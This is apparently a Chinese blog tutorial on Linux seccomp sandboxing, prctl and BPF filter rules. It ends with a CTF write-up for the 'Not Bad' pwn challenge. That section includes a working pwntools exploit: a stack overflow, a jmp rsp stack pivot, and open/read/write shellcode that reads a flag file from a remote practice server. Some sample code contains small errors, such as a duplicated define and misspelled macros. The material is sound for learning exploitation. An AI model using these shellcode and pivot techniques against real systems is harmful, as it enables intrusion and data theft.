交友網(wǎng)站美女要一起做外貿(mào)跨境網(wǎng)站建站
初識(shí)Pwn沙箱
? 沙箱機(jī)制,英文sandbox,是計(jì)算機(jī)領(lǐng)域的虛擬技術(shù),常見(jiàn)于安全方向。一般說(shuō)來(lái),我們會(huì)將不受信任的軟件放在沙箱中運(yùn)行,一旦該軟件有惡意行為,則禁止該程序的進(jìn)一步運(yùn)行,不會(huì)對(duì)真實(shí)系統(tǒng)造成任何危害。
? 安全計(jì)算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其實(shí)現(xiàn)一個(gè)沙箱環(huán)境。使用seccomp模式可以定義系統(tǒng)調(diào)用白名單和黑名單。seccomp機(jī)制用于限制應(yīng)用程序可以使用的系統(tǒng)調(diào)用,增加系統(tǒng)的安全性。
? 在ctf中主要通過(guò)兩種方式實(shí)現(xiàn)沙箱機(jī)制:
- prctl系統(tǒng)調(diào)用;
- seccomp庫(kù)函數(shù);
1、prctl函數(shù)初探
? prctl是基本的進(jìn)程管理函數(shù),最原始的沙箱規(guī)則就是通過(guò)prctl函數(shù)來(lái)實(shí)現(xiàn)的,它可以決定有哪些系統(tǒng)調(diào)用函數(shù)可以被調(diào)用,哪些系統(tǒng)調(diào)用函數(shù)不能被調(diào)用。
? 下面是/linux/prctl.h和seccomp相關(guān)的源碼:
/* Get/set process seccomp mode */#define PR_GET_SECCOMP 21#define PR_GET_SECCOMP 22/** If no_new_privs is set, then operations that grant new privileges (i.e.* execve) will either fail or not grant them. This affects suid/sgid,* file capabilities, and LSMs.** Operations that merely manipulate or drop existing privileges (setresuid,* capset, etc.) will still work. Drop those privileges if you want them gone.** Changing LSM security domain is considered a new privilege. So, for example,* asking selinux for a specific new context (e.g. with runcon) will result* in execve returning -EPERM.** See Documentation/userspace-api/no_new_privs.rst for more details.*/
#define PR_SET_NO_NEW_PRIVS 38
#define PR_GET_NO_NEW_PRIVS 39
? prctl函數(shù)原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)
在具體了解prctl函數(shù)之前,我們?cè)倭私膺@樣一個(gè)概念:沙箱。沙箱(Sandbox)是程序運(yùn)行過(guò)程中的一種隔離機(jī)制,其目的是限制不可信進(jìn)程和不可信代碼的訪問(wèn)權(quán)限。seccomp是內(nèi)核中的一種安全機(jī)制,seccomp可以在程序中禁用掉一些系統(tǒng)調(diào)用來(lái)達(dá)到保護(hù)系統(tǒng)安全的目的,seccomp規(guī)則的設(shè)置,可以使用prctl函數(shù)和seccomp函數(shù)族。
? include/linux/prctl.h里面存儲(chǔ)著prctl的所有參數(shù)的宏定義,prctl的五個(gè)參數(shù)中,其中第一個(gè)參數(shù)是你要做的事情,后面的參數(shù)都是對(duì)第一個(gè)參數(shù)的限定。
? 在第一個(gè)參數(shù)中,我們需要重點(diǎn)關(guān)注的參數(shù)有這兩個(gè):
- PR_SET_SECCOMP(22):當(dāng)?shù)谝粋€(gè)參數(shù)是PR_SET_SECCOMP,第二個(gè)參數(shù)argv2為1的時(shí)候,表示允許的系統(tǒng)調(diào)用有read,write,exit和sigereturn;當(dāng)argv等于2的時(shí)候,表示允許的系統(tǒng)調(diào)用由argv3指向sock_fprog結(jié)構(gòu)體定義,該結(jié)構(gòu)體成員指向的sock_filter可以定義過(guò)濾任意系統(tǒng)調(diào)用和系統(tǒng)調(diào)用參數(shù)。(細(xì)節(jié)見(jiàn)下圖)
- PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系統(tǒng)調(diào)用execve()函數(shù),同時(shí),這個(gè)選項(xiàng)可以通過(guò)fork()函數(shù)和clone()函數(shù)繼承給子進(jìn)程。
struct sock_fprog {unsigned short len; /* 指令個(gè)數(shù) */struct sock_filter *filter; /*指向包含struct sock_filter的結(jié)構(gòu)體數(shù)組指針*/
}
struct sock_filter { /* Filter block */__u16 code; /* Actual filter code,bpf指令碼 */__u8 jt; /* Jump true */__u8 jf; /* Jump false */__u32 k; /* Generic multiuse field */
};
//seccomp-data結(jié)構(gòu)體記錄當(dāng)前正在進(jìn)行bpf規(guī)則檢查的系統(tǒng)調(diào)用信息
struct seccomp_data{int nr;//系統(tǒng)調(diào)用號(hào)__u32 arch;//調(diào)用架構(gòu)__u64 instruction_pointer;//CPU指令指針__u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}
2、prctl()函數(shù)詳解
? prctl
是一個(gè)系統(tǒng)調(diào)用,用于控制和修改進(jìn)程的行為和屬性。它可以在Linux系統(tǒng)上使用,提供了各種功能和選項(xiàng)來(lái)管理進(jìn)程的不同方面。
? 以下是prctl
函數(shù)的基本原型:
#include <sys/prctl.h>int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
? prctl函數(shù)接受不同的option選項(xiàng)和參數(shù),用于執(zhí)行不同的操作。下面是一些常用的option選項(xiàng)及其功能:
- PR_SET_NAME:設(shè)置進(jìn)程名稱(chēng)。
- PR_GET_NAME:獲取進(jìn)程名稱(chēng)。
- PR_SET_PDEATHSIG:設(shè)置在父進(jìn)程終止時(shí)發(fā)送給當(dāng)前進(jìn)程的信號(hào)。
- PR_GET_PDEATHSIG:獲取父進(jìn)程終止時(shí)發(fā)送給當(dāng)前進(jìn)程的信號(hào)。
- PR_SET_DUMPABLE:設(shè)置進(jìn)程的可轉(zhuǎn)儲(chǔ)標(biāo)志,影響核心轉(zhuǎn)儲(chǔ)。
- PR_GET_DUMPABLE:獲取進(jìn)程的可轉(zhuǎn)儲(chǔ)標(biāo)志。
- PR_SET_SECCOMP:設(shè)置進(jìn)程的安全計(jì)算模式。
- PR_GET_SECCOMP:獲取進(jìn)程的安全計(jì)算模式。
? 這些僅是一些常用的選項(xiàng),prctl
還支持其他選項(xiàng)和功能。每個(gè)選項(xiàng)都有特定的參數(shù),可以根據(jù)需要傳遞。具體的參數(shù)和行為取決于所選的選項(xiàng)。
? 以下是一個(gè)簡(jiǎn)單的示例,展示了如何使用prctl
函數(shù)設(shè)置進(jìn)程名稱(chēng):
#define _GNU_SOURCE
#include <sys/prctl.h>
#include <stdio.h>int main() {const char* process_name = "MyProcess";if (prctl(PR_SET_NAME, (unsigned long) process_name) == -1) {perror("prctl");return 1;}// 獲取進(jìn)程名稱(chēng)char name[16];if (prctl(PR_GET_NAME, (unsigned long) name) == -1) {perror("prctl");return 1;}printf("Process name: %s\n", name);return 0;
}
? 在上述示例中,我們使用prctl函數(shù)將當(dāng)前進(jìn)程的名稱(chēng)設(shè)置為"MyProcess"。然后,我們?cè)俅问褂胮rctl函數(shù)獲取進(jìn)程的名稱(chēng),并將其打印到標(biāo)準(zhǔn)輸出。
? 請(qǐng)注意,prctl函數(shù)的具體行為和可用選項(xiàng)可能因操作系統(tǒng)和版本而異。在使用prctl函數(shù)時(shí),應(yīng)該查閱相關(guān)文檔并了解所使用的操作系統(tǒng)的支持和限制。
3、BPF過(guò)濾規(guī)則(伯克利封裝包過(guò)濾)
? 突破沙箱規(guī)則,本質(zhì)上就是一種越權(quán)漏洞。seccomp是linux保護(hù)進(jìn)程安全的一種保護(hù)機(jī)制,它通過(guò)對(duì)系統(tǒng)調(diào)用函數(shù)的限制,來(lái)保護(hù)內(nèi)核態(tài)的安全。所謂沙箱,就是把用戶(hù)態(tài)和內(nèi)核態(tài)相互分離開(kāi),讓用戶(hù)態(tài)的進(jìn)程,不要影響到內(nèi)核態(tài),從而保證系統(tǒng)安全。
? 如果我們?cè)谏诚渲?#xff0c;完全遵守seccomp機(jī)制,我們便只能調(diào)用exit(),sigreturn(),read()和write()這四種系統(tǒng)調(diào)用,那么其實(shí)我們的進(jìn)程應(yīng)該是安全的(其實(shí)也不一定,后面的例題就沒(méi)有溢出,而是通過(guò)系統(tǒng)調(diào)用直接讀取文件)。但是,由于他的規(guī)則過(guò)于死板,所以后面出現(xiàn)了過(guò)濾模式,讓我們可以調(diào)用到那些系統(tǒng)調(diào)用?;仡櫳厦嫣岬降腜T_SET_SECCOMP這個(gè)參數(shù),后面接到的第一個(gè)參數(shù),就是它設(shè)置的模式,第三個(gè)參數(shù),指向sock_fprog結(jié)構(gòu)體,sock_fprog結(jié)構(gòu)體中,又有指向sock_filter結(jié)構(gòu)體的指針,sock_filter結(jié)構(gòu)體這里,就是我們要設(shè)置規(guī)則的地方。
我們?cè)谠O(shè)置過(guò)濾規(guī)則,在面對(duì)沙箱題目的時(shí)候,會(huì)經(jīng)常用到Seccomp-tools這個(gè)工具。
BPF指令集簡(jiǎn)介
BPF_LD:加載操作,BPF_H表示按照字節(jié)傳送,BPF_W表示按照雙字來(lái)傳送,BPF_B表示傳送單個(gè)字節(jié)。
BPF_LDX:從內(nèi)存中加載byte/half-word/word/double-word。
BPF_ST,BPF_STX:存儲(chǔ)操作
BPF_ALU,BPT_ALU64:邏輯操作運(yùn)算。
BPT_JMP:跳轉(zhuǎn)操作,可以和JGE,JGT,JEQ,JSET一起表示有條件的跳轉(zhuǎn),和BPF_JA一起表示沒(méi)有條件的跳轉(zhuǎn)。
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h> //off和imm都是有符號(hào)類(lèi)型,編碼信息定義在內(nèi)核頭文件linux/bpf.h
#include<sys/types.h>int main()
{struct sock_filter filter[]={BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 從第0個(gè)字節(jié)開(kāi)始,傳送4個(gè)字節(jié)BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比較是否為59(execve 的系統(tǒng)調(diào)用號(hào)),是就跳過(guò)下一行,如果不是,就執(zhí)行下一行,第三個(gè)參數(shù)表示執(zhí)行正確的指令跳轉(zhuǎn),第四個(gè)參數(shù)表示執(zhí)行錯(cuò)誤的指令跳轉(zhuǎn)BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL),// 殺死一個(gè)進(jìn)程// BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE),// 父進(jìn)程追蹤子進(jìn)程,具體沒(méi)太搞清楚BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO),// 異常處理BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),// 這里表示系統(tǒng)調(diào)用如果正常,允許系統(tǒng)調(diào)用};struct sock_fprog prog={.len=sizeof(filter)/sizeof(sock_filter[0]),.filter=filter,};prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一個(gè)參數(shù)是進(jìn)行什么設(shè)置,第二個(gè)參數(shù)是設(shè)置的過(guò)濾模式,第三個(gè)參數(shù)是設(shè)置的過(guò)濾規(guī)則puts("123");return 0;
}
? 開(kāi)始的時(shí)候,我們?cè)O(shè)置了sock_filter結(jié)構(gòu)體數(shù)組。這里為什么是一個(gè)結(jié)構(gòu)體數(shù)組呢?因?yàn)槲覀兛吹嚼锩嬗蠦PF_STMT和BPF_JMP的宏定義,其實(shí)BPF_STMT和BPF_JMP都是條件編譯后賦值的sock_filter結(jié)構(gòu)體。
#ifndef BPF_STMT
#define BPF_STMT(code,k){(unsigned short)(code),0,0,k}
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k}
#endif
? 上面的例子中禁用了execve的系統(tǒng)調(diào)用號(hào),64位系統(tǒng)中execve的系統(tǒng)調(diào)用號(hào)是59.
? BPF_JUMP后的第二個(gè)參數(shù)是我們要設(shè)置的需要禁用的系統(tǒng)調(diào)用號(hào)。
? 我們?cè)谶@里禁用的兩個(gè)系統(tǒng)調(diào)用分別是sys_restart_syscall和execve,如果出現(xiàn)這兩個(gè)系統(tǒng)調(diào)用,那么我們就會(huì)跳轉(zhuǎn)到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的異常處理。其實(shí),如果我們要直接殺死這個(gè)進(jìn)程的話,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)這個(gè)規(guī)則可以直接殺死進(jìn)程。
? GitHub上的一個(gè)真實(shí)例子:
例子
#include <errno.h>
#include <linux/audit.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <unistd.h>static int install_filter(int nr, int arch, int error) {struct sock_filter filter[] = {BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, arch, 0, 3),BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, nr, 0, 1),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (error & SECCOMP_RET_DATA)),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),};struct sock_fprog prog = {.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),.filter = filter,};if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {perror("prctl(NO_NEW_PRIVS)");return 1;}if (prctl(PR_SET_SECCOMP, 2, &prog)) {perror("prctl(PR_SET_SECCOMP)");return 1;}return 0;
}int main() {printf("hey there!\n");install_filter(__NR_write, AUDIT_ARCH_X86_64, EPERM);printf("something's gonna happen!!\n");printf("it will not definitely print this here\n");return 0;
}
? 用 seccomp-tools
來(lái)dump下看看:
g01den@MSI:~/CTest/seccomp$ seccomp-tools dump ./prctl
hey there!line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 00050002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x15 0x00 0x01 0x00000001 if (A != write) goto 00050004: 0x06 0x00 0x00 0x00050001 return ERRNO(1)0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
? 禁用掉之后,我們通過(guò)seccomp來(lái)dump一下。我們看到,最前面的就是sock_filter結(jié)構(gòu)體的四個(gè)參數(shù),后面的,就是bpf規(guī)則的匯編表示。
4、orw:
[極客大挑戰(zhàn) 2019]Not Bad:
? 先檢查下保護(hù):
g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: No PIE (0x400000)Stack: ExecutableRWX: Has RWX segments
? 沒(méi)有開(kāi)保護(hù),且存在RWX段,IDA看看:
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);sub_400949();sub_400906();sub_400A16();return 0LL;
}
? 函數(shù)名等等有問(wèn)題,試著恢復(fù)下:
__int64 __fastcall main(int a1, char **a2, char **a3)
{mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);seccomp();init_0();vuln();return 0LL;
}
? 簡(jiǎn)單恢復(fù)了下之后是這樣,先看看seccomp函數(shù),里面很明顯存在沙盒(可能是種不專(zhuān)業(yè)的說(shuō)法):
__int64 seccomp()
{__int64 v1; // [rsp+8h] [rbp-8h]v1 = seccomp_init(0LL);seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);return seccomp_load(v1);
}
? 好,那么直接用seccomp-tools工具dump一下:
g01den@MSI:~/Temp$ seccomp-tools dump ./pwnline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 00100002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 00100005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 00090006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 00090007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 00090008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 00100009: 0x06 0x00 0x00 0x7fff0000 return ALLOW0010: 0x06 0x00 0x00 0x00000000 return KILL
? 最后發(fā)現(xiàn)可以利用的系統(tǒng)調(diào)用有orw三個(gè),那么看看vuln函數(shù):
int sub_400A16()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("Easy shellcode, have fun!");read(0, buf, 0x38uLL);return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
? 這里存在棧溢出,感覺(jué)可以打shellcode,但是,明顯發(fā)現(xiàn)棧的長(zhǎng)度不夠ret2shellcode,推測(cè)一手棧遷移,試試看。
? 經(jīng)過(guò)動(dòng)調(diào)之后,發(fā)現(xiàn)在執(zhí)行到函數(shù)mmap之后,存在一個(gè)可寫(xiě)可執(zhí)行權(quán)限的內(nèi)存段(扔一個(gè)小知識(shí)點(diǎn):這里mmap參數(shù)類(lèi)型是(起始地址,大小,保護(hù)類(lèi),文件描述符]等)):
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATAStart End Perm Size Offset File0x123000 0x124000 -wxp 1000 0 [anon_00123]
? 可以將棧遷移到這兒去,再執(zhí)行shellcode或者syscall讀文件,不過(guò),這個(gè)要之后再說(shuō)了。大概思路說(shuō)下吧,先通過(guò)shellcode調(diào)用read函數(shù)將讀文件寫(xiě)入內(nèi)存然后輸出這樣的一個(gè)順序,先貼一下exp:
from pwn import *
#from LibcSearcher import *# context.terminal = ["tmux", "splitw", "-h"]
Locale = 0
if Locale == 1:io = process('./pwn')
else:io = remote("node5.buuoj.cn",26888)#elf = ELF("./pwn")
context(arch='amd64', os='linux', log_level='debug')def exp():# gdb.attach(io)mnap = 0x123000jmp_rsp = 0x0400a01io.recvuntil("Easy shellcode, have fun!\n")shellcode = asm(shellcraft.read(0,mnap,0x100))shellcode += asm('mov rax,0x123000;call rax')payload = shellcode.ljust(0x28,b'a')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp") #這里的減0x30我沒(méi)怎么看懂,記錄在這兒io.send(payload)payload2 = asm(shellcraft.open('./flag')+shellcraft.read(3,mnap+0x100,0x100)+shellcraft.write(1,mnap+0x100,0x100))io.send(payload2)exp()io.interactive()
?
參考文章:
從prctl函數(shù)開(kāi)始學(xué)習(xí)沙箱規(guī)則
BPF詳解
函數(shù) prctl 系統(tǒng)調(diào)用